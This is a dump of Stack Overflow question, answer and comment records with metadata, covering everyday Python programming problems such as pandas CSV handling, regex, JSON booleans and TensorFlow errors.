has body: This approach uses only Python standard libraries. First convert percentages to probabilities. &gt;&gt;&gt; p = [1, 4, 20, 10, 40, 10, 4, 5, 6] &gt;&gt;&gt; p = [0.01*_ for _ in p] Then obtain cumulative probabilities. It's necessary to perform these preliminaries only once. &gt;&gt;&gt; cum_probs = [0] &gt;&gt;&gt; for _ in p: ... cum_probs.append(_ + cum_probs[-1]) ... &gt;&gt;&gt; cum_probs [0, 0.01, 0.05, 0.25, 0.35, 0.75, 0.85, 0.89, 0.9400000000000001, 1.0] &gt;&gt;&gt; from random import random Make a random selection from the unit interval, [0, 1]. &gt;&gt;&gt; selection = random() Starting on the left, find the first probability interval in which this random number belongs, then stop. &gt;&gt;&gt; for i, possibility in enumerate(cum_probs[1:]): ... if selection &lt; possibility: ... print ('perform function number ', i) ... break ... perform function number 3 This is the number of the function to perform. These lines are just to verify that the random number selected is in the required interval. &gt;&gt;&gt; selection 0.33920981672706096 You can assign functions to intervals in an array. &gt;&gt;&gt; functions = [function_one, another_fn, my_function, ...] More likely, you would put them in a dictionary. (I'm using your names.) functions = {0: function1(); 1: function2(); ...} Then you would call the desired one like this. functions[i]
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47338873

http://stackoverflow.com/comment/81694560
type: QuestionComment
comment on: http://stackoverflow.com/q/47370961
score: 0
has text: not exactly an answer, but why don't you use FileZilla?
type: Comment

http://stackoverflow.com/a/47310113
type: Answer
answers question: http://stackoverflow.com/q/47310015
downvote count: 0
upvote count: 1
has body: The list you are printing out is a list of objects, not strings; &lt;Color #e65318&gt;is a Color object. From the docs it looks like you can get the hex representation using hex or hex_l: https://pypi.python.org/pypi/colour
score: 1

http://stackoverflow.com/q/47254252
has answer: http://stackoverflow.com/a/47254558
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has body: So my code takes a decimal such as 230.3284 and splits it in to 230 and .3284. Is there anyway I can take that '.3284' and divide it by 2 or do I have to rewrite my whole code value = 230.3284 x = value.split('.') #x[0] is the whole number, x[1] is the decimal decimal = '.' + x[1] return int(decimal) / 2 which returns ValueError: invalid literal for int() with base 10: '.125'
has answer: http://stackoverflow.com/a/47254478
has comment: http://stackoverflow.com/comment/81458874
type: UnansweredQuestion
tagged with: python
has title: How to work with decimals ( multiplying, dividing, etc.)
has comment: http://stackoverflow.com/comment/81459255
downvote count: 6
has comment: http://stackoverflow.com/comment/81458858
score: -5
has answer: http://stackoverflow.com/a/47254531
tagged with: pycharm
answer count: 3

http://stackoverflow.com/comment/81585057
has text: You're going to have to give us the exact error code, and more specifics about what you are doing for us to help you.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47316912
score: 0

http://stackoverflow.com/q/47297806
type: Question
score: 0
has title: python regex sub repeat specific pattern
type: UnansweredQuestion
answer count: 1
has body: i have some string data that contains characters from color coding.. i am trying to remove them using re.sub , but i can't figure out how to repeat my pattern. i thought +? would as it states 1 or more repetitions non-greedy. but it is only removing the "[0m" in the string not also the "[32m" test = 'test1 test2 [32mOK[0m' test = re.sub(r'(.\[[\d*]m)+?', '', test) how do make a regex that will remove any instance of the combination above leaving the text in between which in this instance is "OK" ?? my end goal here is to leave the OK text that is between [32 and [0m... OK could say FAILED or ERROR like this [32mFAILED[0m, [32mERROR[0m
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/47297856

http://stackoverflow.com/a/47265348
type: Answer
answers question: http://stackoverflow.com/q/47264403
has body: I think you have a typo there since you have written df inside the to_sql method, try: df.to_sql(con=con, name='table_name',if_exists='replace',flavor='mysql')
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/81533258
type: AnswerComment
comment on: http://stackoverflow.com/a/47291313
score: 0
type: Comment
has text: if every button is for a specific Tweet the ajax should be in the for loop and you have to pass id for the inputs with `{{forloop.counter}}`

http://stackoverflow.com/a/47234912
score: 5
has comment: http://stackoverflow.com/comment/81426101
downvote count: 0
has body: Another alternative is to use np.median (y.max(2) - 2 * y.min(2)) / np.median(y, 2)
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/81427958
answers question: http://stackoverflow.com/q/47234513

http://stackoverflow.com/comment/81495569
score: 0
has text: @TIC-FLY as for context managers, I mean use the `with` statement to open your file. Again, I am almost certain that you will find that the issue relates to you not closing your file (and then re-opening it in another function!). You need to be careful when working with files. The best practice is to use a `with` statement. And generally, it is better to open it once, read form it, close it (the closing being handled by the `with` statement), and then open again and write to it (again, using a `with`) statement, rather than trying to do it all with `r+` mode.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47271832

http://stackoverflow.com/comment/81454521
score: 0
type: AnswerComment
has text: If it works, then make sure to accept it as an answer by ticking the checkmark adjacent to my answer. Thanks.
comment on: http://stackoverflow.com/a/47245389
type: Comment

http://stackoverflow.com/comment/123530926
type: AnswerComment
comment on: http://stackoverflow.com/a/47311878
score: 0
has text: @JulesG.M. I tried it in VS Code, too. It behaves definitely as you describe it. When I try it in a browser, however, with %matplotlib notebook at the very beginning, I get: Javascript Error: IPython is not defined
type: Comment

http://stackoverflow.com/comment/81657402
comment on: http://stackoverflow.com/a/47352209
type: AnswerComment
score: 0
has text: This would only work for use case a, not b (slicing with another array)
type: Comment

http://stackoverflow.com/comment/81543545
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47295900
has text: I cant quite catch it. Extract the lines of a word document into what? you want to see them in python? you want to save them in txt?

http://stackoverflow.com/q/47237970
tagged with: string
has answer: http://stackoverflow.com/a/47237990
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81426070
has body: Is there a simple way to divide a multiline string into different lists with different sizes? I have this elements in a file: 5 5 6 7 8 9 1 3 4 53 4 1 23 13 312 22 111 123 I would like to get an array/list with these elements list= [5,5,6,7,8,9],[1,3,4,53,4],[1,23],[13,312],[22,111,123] It must be applied to any file (they will always be files with integers), the important thing is that it divides the array/ list in each '\n' I want to avoid using external import (like NumPy for example), I just have to do it with the tools that Python offers.
upvote count: 2
possible better answer: http://stackoverflow.com/a/47237998
has comment: http://stackoverflow.com/comment/81425968
downvote count: 0
has answer: http://stackoverflow.com/a/47237998
tagged with: python
has title: How to split a multiline string with space-delimited integers to a list of lists for each line
has comment: http://stackoverflow.com/comment/81426093
type: AnsweredQuestion
tagged with: list
answer count: 2
score: 2
accepted answer: http://stackoverflow.com/a/47237990

http://stackoverflow.com/a/47262115
type: Answer
has comment: http://stackoverflow.com/comment/81476622
has comment: http://stackoverflow.com/comment/81498276
has comment: http://stackoverflow.com/comment/81541841
has comment: http://stackoverflow.com/comment/81542872
has comment: http://stackoverflow.com/comment/81498959
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/47261515
has comment: http://stackoverflow.com/comment/81537754
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81476724
downvote count: 0
has comment: http://stackoverflow.com/comment/81482532
has comment: http://stackoverflow.com/comment/81499430
accepted answer of: http://stackoverflow.com/q/47261515
has comment: http://stackoverflow.com/comment/81486457
has comment: http://stackoverflow.com/comment/81541780
has comment: http://stackoverflow.com/comment/81499216
has comment: http://stackoverflow.com/comment/81486477
has body: Use: df = pd.read_csv('test.csv') #get value of first column (here 2001) col = df.columns[0] #forward fill last previous value df[col] = df[col].ffill() #convert first column to numeric num = pd.to_numeric(df[col], errors='coerce') #forward fill again, first group replace by value of first column name df['Year'] = num.ffill().fillna(col) #change columns names df = df.rename(columns={col:'Shoes', 'Unnamed: 1':'Names'}) #remove unnecessary rows df = df[num.isnull() &amp; df['colour'].notnull()].reset_index(drop=True) print (df) Shoes Names colour price Quantity sold Year 0 Type A shoes Sub type A red 22 5 2001 1 Type A shoes Sub type A green 11 5 2001 2 Type A shoes Sub type A yellow 44 5 2001 3 Type A shoes Sub type B red 33 5 2001 4 Type A shoes Sub type B green 66 5 2001 5 Type A shoes Sub type B yellow 22 5 2001 6 Type B shoes Sub type A red 11 5 2001 7 Type B shoes Sub type A green 44 5 2001 8 Type B shoes Sub type A yellow 33 5 2001 9 Type B shoes Sub type B red 66 5 2001 10 Type B shoes Sub type B green 21 5 2001 11 Type B shoes Sub type B yellow 22 5 2001 12 Type A shoes Sub type A red 22 5 2002 13 Type A shoes Sub type A green 11 5 2002 14 Type A shoes Sub type A yellow 44 5 2002 15 Type A shoes Sub type B red 33 5 2002 16 Type A shoes Sub type B green 66 5 2002 17 Type A shoes Sub type B yellow 22 5 2002 18 Type B shoes Sub type A red 11 5 2002 19 Type B shoes Sub type A green 44 5 2002 20 Type B shoes Sub type A yellow 33 5 2002 21 Type B shoes Sub type B red 66 5 2002 22 Type B shoes Sub type B green 21 5 2002 23 Type B shoes Sub type B yellow 22 5 2002 EDIT: df = pd.read_csv('testV2.csv', sep='\t') #print (df) #get value of first column (here 2001) col = df.columns[0] #forward fill last previous value df[col] = df[col].ffill() #convert first column to numeric num = pd.to_numeric(df[col], errors='coerce') #forward fill again, first group replace by value of first column name df['Year'] = num.ffill().fillna(col) #change columns names df = df.rename(columns=…
has comment: http://stackoverflow.com/comment/81499757
has comment: http://stackoverflow.com/comment/81476681

http://stackoverflow.com/q/47267107
downvote count: 0
has answer: http://stackoverflow.com/a/47267134
accepted answer: http://stackoverflow.com/a/47267134
has comment: http://stackoverflow.com/comment/81485009
favorite count: 0
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81485146
has comment: http://stackoverflow.com/comment/81485284
tagged with: python
has body: I have a CSV file with the following text in French: "Dune!;Jeux" "Snapchat;Photo et vidéo" "Instagram;Photo et vidéo" "YouTube: Regarder &amp; Découvrir;Photo et vidéo" "WhatsApp Messenger;Réseaux sociaux" "Wish - Acheter en s'amusant;Shopping" "Messenger;Réseaux sociaux" I am unable to read this file as two columns using ; as a separator: df = pd.read_csv("src.csv",delimiter=';',header=None,encoding="latin-1") print(df.head()) It gives the following: 0 0 Dune!;Jeux 1 Snapchat;Photo et vidéo 2 Instagram;Photo et vidéo 3 YouTube: Regarder &amp; Découvrir;Photo et vidéo 4 WhatsApp Messenger;Réseaux sociaux Looks like the ; as a separator was ignored. What's wrong with my code sample?
score: 2
has comment: http://stackoverflow.com/comment/81485119
has comment: http://stackoverflow.com/comment/81485061
upvote count: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/81485201
has title: pandas read_csv ignores separator
answer count: 1

http://stackoverflow.com/comment/81419056
comment on: http://stackoverflow.com/q/47234130
type: Comment
type: QuestionComment
has text: just as what @VijayK.Narayanan pointed it is because this error comes only when you try to access a list with an index that is not an integer or slices. The error is crystal clear try to change the string index to interger.
score: 0

http://stackoverflow.com/comment/81466024
type: QuestionComment
comment on: http://stackoverflow.com/q/47256591
score: 0
has text: Indeed you was correct and I put the whole information in the connection string and it worked. Many thanks for your help.
type: Comment

http://stackoverflow.com/q/47305826
tagged with: math
has answer: http://stackoverflow.com/a/47305930
has body: Python 2 and Python 3 seem to arrive at different answers for the very simple math operation of finding percentage difference between two quantities. For example: # Python 2.7.10 &gt;&gt;&gt; def percent_difference(qty1, qty2): ... diff = max(qty1, qty2) - min(qty1, qty2) ... print(diff) ... percent = diff / ( (qty1 + qty2) / 2) ... print(percent) ... &gt;&gt;&gt; percent_difference(1, 2) 1 1 # Python 3.6.2 &gt;&gt;&gt; def percent_difference(qty1, qty2): ... diff = max(qty1, qty2) - min(qty1, qty2) ... print(diff) ... percent = diff / ( (qty1 + qty2) / 2) ... print(percent) ... &gt;&gt;&gt; percent_difference(1, 2) 1 0.6666666666666666 What's going on here? (Python3 is correct)
tagged with: python
has answer: http://stackoverflow.com/a/47305857
has title: Python2/3 give different answers to the same math operation...why? (calculating percent difference)
duplicate of: http://stackoverflow.com/q/21316968
score: -6
favorite count: 0
type: Question
tagged with: python-3.x
linked to: http://stackoverflow.com/q/21316968
has answer: http://stackoverflow.com/a/47305954
upvote count: 1
downvote count: 7
type: AnsweredQuestion
tagged with: python-2.7
accepted answer: http://stackoverflow.com/a/47305954
possible better answer: http://stackoverflow.com/a/47305930
answer count: 3

http://stackoverflow.com/a/47320327
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47320213
has body: Here is the sum code. I will leave it to you to do the average code. for item in my_dict: for thing in item['var1']: if thing not in results: results[thing] = 0 results[thing] = results[thing] + item['var2'] results {'a': 46, 'b': 84, 'c': 19, 'd': 48, 'e': 56}
type: Answer
answers question: http://stackoverflow.com/q/47320213
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/81667748
score: 0
has text: In the script you are having `my_table` is that the table name you want to insert into ?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47357539

http://stackoverflow.com/a/47358272
type: Answer
score: 17
upvote count: 17
has body: false is recognised as its own type in JSON: A value can be a string in double quotes, or a number, or true or false or null, or an object or an array. In python, the JSON false maps directly to the False bool value: &gt;&gt;&gt; json.dumps({'val' : False}) '{"val": false}'
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47358215
downvote count: 0
answers question: http://stackoverflow.com/q/47358215
has comment: http://stackoverflow.com/comment/81669192
has comment: http://stackoverflow.com/comment/81669223

http://stackoverflow.com/comment/81606084
comment on: http://stackoverflow.com/q/47327641
has text: Did you read about the compression parameters in the [documentation of imwrite](https://docs.opencv.org/2.4/modules/highgui/doc/reading_and_writing_images_and_video.html?highlight=imwrite#imwrite)?
score: 2
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81605710
has text: @FabianYing 'print(df.head())' gives me what I expected '[5 rows x 44 columns] <class 'pandas.core.frame.DataFrame'>'. The problem I think comes when I append the df to the dflist. In that moment it loses all the columns but I can't concatenate a dataframe. I need an iterable of pandas objects, so a list
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47307141
type: QuestionComment

http://stackoverflow.com/comment/81699118
score: 0
type: Comment
has text: I will have to look into it some more. I think my case is complicated by the fact that my data is split into 120 .npz files of approx 11gb each. I'm most confused about how fit_generator does mini-batch shuffling if I'm generating one mini-batch at a time.
type: AnswerComment
comment on: http://stackoverflow.com/a/47372176

http://stackoverflow.com/q/47361061
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47364895
has comment: http://stackoverflow.com/comment/81682431
has title: R-tree query/bounding box for an intersection
has body: I'm trying to create a function for an intersection where the input file is of buildings in some urban area, and a query box is used to create an intersection containing just the buildings found in that query box area. import matplotlib.pyplot as plt import matplotlib as mpl from mpl_toolkits.basemap import Basemap import fiona import fiona.crs import rtree input_file = 'se_england_clean.shp' out_file = 'se_england_out' file_index = 'Rtree_index_east.idx' query_box = [-0.0957870483,51.5134165224,-0.08664608,51.5192383994] def write_clipped_file(name_file_in, out_file, file_index): idx = rtree.index.Index(file_index) idx.insert(0, (input_file)) list(idx.intersection((query_box)))[0] with fiona.open(input_file, 'w') as out_file : for building in idx: out_file.write(building) I get an error RTreeError: Coordinates must be in the form (minx, miny, maxx, maxy) or (x, y) for 2D indexes Not sure why it's not working, i've tried different combinations of coordinates. The format of the bounding box can be found here, just use csv form and make a box over London: http://boundingbox.klokantech.com/ I want to use a small bounding box in London and then find how many buildings from the input_file intersect within that box. Later I plan to use basemap to visualize it. Besides the query box, do I have the right idea with my code? Basically I tried to open a new index and selected all the buildings which intersect with the query_box. The returned value should be a list of indices of the buildings that I want to visualize. I then opened with Fiona the input shapefile and the new (clipped) shapefile that I want to produce in output. By cycling on the list of indices I tried to select the desired buildings and write them in the new file 'out_file'.
upvote count: 0
tagged with: r-tree
answer count: 1
linked to: http://stackoverflow.com/q/47299216
downvote count: 1

http://stackoverflow.com/comment/81597947
type: Comment
score: 0
type: AnswerComment
has text: there are either 1 or 2 equation marks in the dir name and the program checks that way before. now i need to recognize the string **after the last** equation mark (so it does not matter if there is 1 or 2 of them). testing your code now.
comment on: http://stackoverflow.com/a/47323594

http://stackoverflow.com/q/47259846
accepted answer: http://stackoverflow.com/a/47259910
has comment: http://stackoverflow.com/comment/81470401
has answer: http://stackoverflow.com/a/47259910
has comment: http://stackoverflow.com/comment/81470489
has title: Unsupported Operand Types Python Power and Lists
type: Question
has comment: http://stackoverflow.com/comment/81470513
upvote count: 0
tagged with: arrays
score: -3
answer count: 1
downvote count: 3
has comment: http://stackoverflow.com/comment/81470419
tagged with: python
has comment: http://stackoverflow.com/comment/81470605
favorite count: 0
type: AnsweredQuestion
has body: One of the tutorial questions has us focus on creating a function which returns a simple expression. The expression is below: EQ = cos*(pi/2)*x^2 + sin(pi/4)*x + x^3 Where x is an array of floats. I have written the following code to answer this: def getStats(x): # Complete the function. y = float(numpy.cos((numpy.pi/2)*x**2) + numpy.sin((numpy.pi/4)*x) + x**3) return y However I get an error saying unsupported operand types for pow or ** list or int. I have tried to type cast this but it has not worked. Apart from type casting I have tried breaking this down further but have been unsuccessful. Any ideas on what I can try next? Thank you.

http://stackoverflow.com/q/47329756
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47329889
score: -3
tagged with: python
has comment: http://stackoverflow.com/comment/81610226
tagged with: sorting
has comment: http://stackoverflow.com/comment/81611407
upvote count: 2
has title: How do I sort a list of words by their letter endings?
answer count: 3
has body: How do I sort a list of strings by the last two characters Input: ['abby', 'acts', 'aden', 'afro', 'agni', 'agra', 'aida', 'ainu', 'alba', 'aldo', 'alec', 'alex', 'alma', 'alpo', 'alps', 'alta', 'alva', 'amie', 'amos'] Output: **aa **ab **ac **ad **ae **af **ag **ah **ai **aj **ak **al **am **an **ao **ap **aq **ar **as **at **au **av **aw **ax **ay **az etc... **ba **ca **da **ea **fa **ga etc...
has comment: http://stackoverflow.com/comment/81610201
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47331149
has answer: http://stackoverflow.com/a/47329796
downvote count: 5

http://stackoverflow.com/a/47319326
downvote count: 0
has comment: http://stackoverflow.com/comment/101090720
type: Answer
answers question: http://stackoverflow.com/q/47316783
score: 21
has body: If you're looking to get rid of consecutive duplicates only, this should suffice: df['Desired'] = df['Current'].str.replace(r'\b(\w+)(\s+\1)+\b', r'\1') df Current Desired 0 Racoon Dog Racoon Dog 1 Cat Cat Cat 2 Dog Dog Dog Dog Dog 3 Rat Fox Chicken Rat Fox Chicken Details \b # word boundary (\w+) # 1st capture group of a single word ( \s+ # 1 or more spaces \1 # reference to first group )+ # one or more repeats \b Regex from here. To remove non-consecutive duplicates, I'd suggest a solution involving the OrderedDict data structure: from collections import OrderedDict df['Desired'] = (df['Current'].str.split() .apply(lambda x: OrderedDict.fromkeys(x).keys()) .str.join(' ')) df Current Desired 0 Racoon Dog Racoon Dog 1 Cat Cat Cat 2 Dog Dog Dog Dog Dog 3 Rat Fox Chicken Rat Fox Chicken
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/108334073
upvote count: 21
accepted answer of: http://stackoverflow.com/q/47316783
has comment: http://stackoverflow.com/comment/108337288

http://stackoverflow.com/q/47363020
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47363159
tagged with: http://stackoverflow.com/tag/html
tagged with: python
has answer: http://stackoverflow.com/a/47363075
accepted answer: http://stackoverflow.com/a/47363075
possible better answer: http://stackoverflow.com/a/47363143
has body: Long story short, I'm trying to use Beautiful Soup to replace b tags with strong tags. Soup takes some input that includes Words: attributes Other Words: other attributes I have the following python3 code: strong_tag = soup.new_tag("strong") if(soup.find('b')): for b_tag in soup.find_all('b'): b_tag.wrap(strong_tag) This outputs attributes Words:Other Words: other attributes instead of Words: attributes Other Words: other attributes How do I fix this? I'm assuming that once I can fix this, I can extract() the contents from the b tags, leaving just the strong tags behind.
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47363143
answer count: 3
downvote count: 0
upvote count: 1
tagged with: findall
has title: Beautiful Soup find_all wraps together instead of individually
score: 1
favorite count: 0
type: Question
tagged with: beautifulsoup

http://stackoverflow.com/q/47316193
type: AnsweredQuestion
downvote count: 0
score: 1
upvote count: 1
has title: PyCharm interpreting backward slashes wrong when checking regex expressions
has answer: http://stackoverflow.com/a/47316312
possible better answer: http://stackoverflow.com/a/47316312
has answer: http://stackoverflow.com/a/47316384
accepted answer: http://stackoverflow.com/a/47316384
favorite count: 0
type: Question
has body: The expression is: re.search("(%s)\\(%d)([0-9]+)".format(newspaper, year2)) where newspaper is a string and year2 is an integer. Instead of interpreting \\ as an escape to the \ character, PyCharm interprets this as escaping ( and warns that I have an unmatched closing parenthesis in (%d). It also highlights the opening parenthesis in orange as well. When I replaced this with \\\, there is no warning but I'm not able to find my matches with this regex. Is this how \ supposed to be escaped or am I missing another character?
answer count: 2
tagged with: pycharm
linked to: http://stackoverflow.com/q/33582162
tagged with: python
tagged with: regex
duplicate of: http://stackoverflow.com/q/33582162

http://stackoverflow.com/comment/81646979
has text: Hi Serge, I'm a newbie in Python. I checked out the "list of dictionaries" and it seems to be a good structure!
comment on: http://stackoverflow.com/q/47347385
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81667256
score: 0
type: AnswerComment
has text: Correct, in https://developers.google.com/resources/api-libraries/documentation/sheets/v4/java/latest/com/google/api/services/sheets/v4/model/FindReplaceRequest.html , this is how it describes what these 2 methods should do: `getFind public java.lang.String getFind() The value to search. Returns: value or null for none setFind public FindReplaceRequest setFind(java.lang.String find) The value to search. Parameters: find - find or null for none ` so getFind returns a String! when I ran it,it returned my setFind() value, not a range!!
comment on: http://stackoverflow.com/a/47330057
type: Comment

http://stackoverflow.com/comment/81550366
type: AnswerComment
score: 1
type: Comment
has text: @BradSolomon 1. Truncating makes the array constructor much faster. I think if you don't force the dtype then numpy has to do two passes, one just to find the longest string, so it knows how large to make the dtype. 2. the one letter ids can be used as indices into a lookup table; since we can very cheaply (view casting in numpy is essentially free) interpret these characters as numbers which are not very large the loookup can be done by pointer arithmetic. As an added benefit this kind of lookup is precisely what numpy fancy indexing does, so it's a one-liner that loops at C speed. HTH
comment on: http://stackoverflow.com/a/47298476

http://stackoverflow.com/q/47326499
has title: Error "ValueError: setting an array element with a sequence."
tagged with: opencv
score: 3
upvote count: 3
downvote count: 0
has body: I am trying to compile this code that uses the opencv Library criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10, 1.0) XX=[] for i in range(len(K_points)): XX.append(K_points[i]) ret,label,center=cv2.kmeans(np.float32(XX),len(K_points),None,criteria,10,cv2.KMEANS_RANDOM_CENTERS) Error: ValueError: setting an array element with a sequence.
favorite count: 0
type: Question
answer count: 0
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/47292365
tagged with: tensorflow
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: neural-network
has body: I have two models in TensorFlow, let's call them A and B. Model A's computation graph looks like X -&gt; Y -&gt; P -&gt; Z Model B's computation graph looks like X' -&gt; Y' -&gt; P -&gt; Q -&gt; Z' I have trained model A on a particular data set. I want to import the trained weights from node P of model A into node P of model B as well. How do I do this in TensorFlow? I am using TensorFlow version 1.2.1 on Python 2.7
tagged with: python
answer count: 0
tagged with: deep-learning
score: 1
downvote count: 0
upvote count: 1
has title: TensorFlow: How to Import Weights from Sub-Graph of Computational Graph?

http://stackoverflow.com/a/47297812
type: Answer
answers question: http://stackoverflow.com/q/47295894
accepted answer of: http://stackoverflow.com/q/47295894
score: 0
type: AcceptedAnswer
has body: SOLVED from datetime import date, timedelta as td import datetime import numpy as np import calendar #Interpolate Dates def datesBetween(StartDate,EndDate): dates = [] year1 = datetime.datetime.strptime(str(StartDate),'%d%b%Y').year year2 = datetime.datetime.strptime(str(EndDate),'%d%b%Y').year Month1 = datetime.datetime.strptime(str(StartDate),'%d%b%Y').month Month2 = datetime.datetime.strptime(str(EndDate),'%d%b%Y').month day1 = datetime.datetime.strptime(str(StartDate),'%d%b%Y').day day2 = datetime.datetime.strptime(str(EndDate),'%d%b%Y').day d1 = date(year1, Month1, day1) d2 = date(year2, Month2, day2) delta = d2 - d1 dates.append(datetime.datetime.strptime(str(StartDate),'%d%b%Y').strftime('%d%b%Y')) d0 = datetime.datetime.strptime(str(StartDate),'%d%b%Y') for i in range(delta.days): d0 += datetime.timedelta(days=1) dates.append(d0.strftime('%d%b%Y')) return dates #Sort Dates def date_key(a): a = datetime.datetime.strptime(a, '%d%b%Y').date() return a dates1 = ['28aug2017', '31aug2017', '01sep2017'] dates2 = ['30aug2017'] dates3 = [ '03sep2017', '05sep2017'] master = [dates1,dates2,dates3] conc = [] for lst in master: conc = conc + lst sortedDates = sorted(conc,key=date_key) indexMain = [] indexSub = [] for d in sortedDates: indexMain.append(next((i for i, sublist in enumerate(master) if str(d) in sublist), -1)) indexSub.append(next((sublist for sublist in master if str(d) in sublist)).index(str(d))) i = 0 print(len(indexMain)-1) while i &lt; len(indexMain)-1: d1 = master[indexMain[i]][indexSub[i]] d2 = master[indexMain[i+1]][indexSub[i+1]] if indexMain[i] == indexMain[i+1]: temp = datesBetween(str(d1),str(d2)) for val in temp: if str(val).lower() not in master[indexMain[i]]: master[indexMain[i]].append(str(val).lower()) i += 1 else: temp = datesBetween(str(d1),str(d2)) temp = temp[:len(temp)-1] for val in temp: if str(val).lower() not in master[indexMain[i]]: master[indexMain[i]].append(str(val).lower()) i += 1 print(sorted(master[0],key=date_key)) print(sorte…

http://stackoverflow.com/comment/81689897
type: QuestionComment
comment on: http://stackoverflow.com/q/47367064
has text: As you describe "call to the function move must be sequential", sounds like it should not be threaded. Your call `start_new_thread(move_test_thread, (points,))` already starts another thread, so starting more "sequential" threads within that new thread does not accomplish anything. Replace your calls to threading in your loop with simple `test.move(point)` and you accomplish the sequential execution in a separate thread (the thread created by start_new_thread). The code (as you wrote it) executes for all three points for me.
type: Comment
score: 0

http://stackoverflow.com/comment/81430691
comment on: http://stackoverflow.com/q/47239950
score: 0
type: Comment
has text: The 1st which is the Duration in my case
type: QuestionComment

http://stackoverflow.com/comment/81669780
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47357990
type: AnswerComment
has text: first ask him if he did that or not in comments, then this not the problem

http://stackoverflow.com/comment/81458858
comment on: http://stackoverflow.com/q/47254252
score: 4
type: Comment
has text: Show your code so far.
type: QuestionComment

http://stackoverflow.com/comment/81488765
type: AnswerComment
comment on: http://stackoverflow.com/a/47260158
has text: I don't understand your comment. Why are you setting a password if you have no password field?
type: Comment
score: 0

http://stackoverflow.com/comment/81717883
comment on: http://stackoverflow.com/q/47382463
type: Comment
type: QuestionComment
has text: @GordonLinoff The problem I don't have control over the database. The description column contains names of three products (three keywords). The product names are entered by multiple users to the database and they usually write the product differently (flexible nomenclature). For example if our product is iPhone and i'm interested in iPhone X as keyword1, it can be written like: iPhone X or iPhone 10 or iPhone-10 or iPhone10 or iPhone-X but if none is found, i'll just say 'iPhone' as most generic one. The other two keywords are for add ons that go with it which also can be written differently.
score: 0

http://stackoverflow.com/q/47227727
tagged with: machine-learning
has body: I am getting error which is specify "ValueError: Cannot convert a partially known TensorShape to a Tensor: (?,)" I just want to get prediction results bu I can not run fit method.(estimator.fit(input_fn=get_input_fn_train(), steps=10000) I get the error while trying to run this code. I have 10000 rows and 8 int columns.I dropped string columns for now . (x_train.shape) -->(8000, 8).y_train.shape--> (8000,).What kind of shape is talking about? I am googling bu I can not find useful things. What shoul I do? What am I missing? All codes below. Thanks. import pandas as pd import tensorflow as tf import numpy as np import tempfile from sklearn.model_selection import train_test_split def split_data(data, rate, label): data = data.dropna() train_data, test_data = train_test_split(data, test_size=rate) train_label = train_data[label] train_data = train_data.drop(label, 1) test_label = test_data[label] test_data = test_data.drop(label, 1) return train_data, train_label, test_data, test_label LABEL="Exited" data = pd.read_csv("Churn_Modelling.csv", skipinitialspace=True, header=0) data.drop("Surname", axis=1, inplace=True) data.drop("RowNumber", axis=1, inplace=True) data.drop("CustomerId", axis=1, inplace=True) data.drop("Geography", axis=1, inplace=True) data.drop("Gender", axis=1, inplace=True) x_train, y_train, x_test, y_test = split_data(data, 0.20, LABEL) def get_input_fn_train(): input_fn = tf.estimator.inputs.pandas_input_fn( x=x_train.astype('float64'), y=y_train.astype('float32'), shuffle=False ) return input_fn def get_input_fn_test(): input_fn = tf.estimator.inputs.pandas_input_fn( x=x_test.astype('float64'), y=y_test.astype('float32'), shuffle=False ) return input_fn feature_columns = tf.contrib.learn.infer_real_valued_columns_from_input_fn( get_input_fn_train()) model_dir = tempfile.mkdtemp() estimator = tf.contrib.learn.SVM( example_id_column=tf.constant(np.arange(len(y_train))), feature_columns=feature_columns, l2_regularization=10.0,model_dir=model_dir) estim…
has answer: http://stackoverflow.com/a/47341620
answer count: 1
tagged with: tensorflow
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has title: ValueError: Cannot convert a partially known TensorShape to a Tensor: (?,)
tagged with: svm
upvote count: 2
score: 2
downvote count: 0

http://stackoverflow.com/comment/81484022
comment on: http://stackoverflow.com/a/47266733
score: 2
type: Comment
has text: @Adirio: Why exactly? OP didn't show any code. Writing a working solution from my answer is straightforward.
type: AnswerComment

http://stackoverflow.com/a/47315424
has body: If you take a look at the disassembled code, you can see that it does load the same object. (line 2 and line 14) &gt;&gt;&gt; import dis &gt;&gt;&gt; codeObj = compile("from collections import Counter as c; from collections import Counter", "foo", "exec") &gt;&gt;&gt; dis.dis(codeObj) 1 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (('Counter',)) 4 IMPORT_NAME 0 (collections) 6 IMPORT_FROM 1 (Counter) 8 STORE_NAME 2 (c) 10 POP_TOP 12 LOAD_CONST 0 (0) 14 LOAD_CONST 1 (('Counter',)) 16 IMPORT_NAME 0 (collections) 18 IMPORT_FROM 1 (Counter) 20 STORE_NAME 1 (Counter) 22 POP_TOP 24 LOAD_CONST 2 (None) 26 RETURN_VALUE And as others have mentioned, you can use id(c) == id(Counter) or c is Counter to test if they have the same reference.
type: Answer
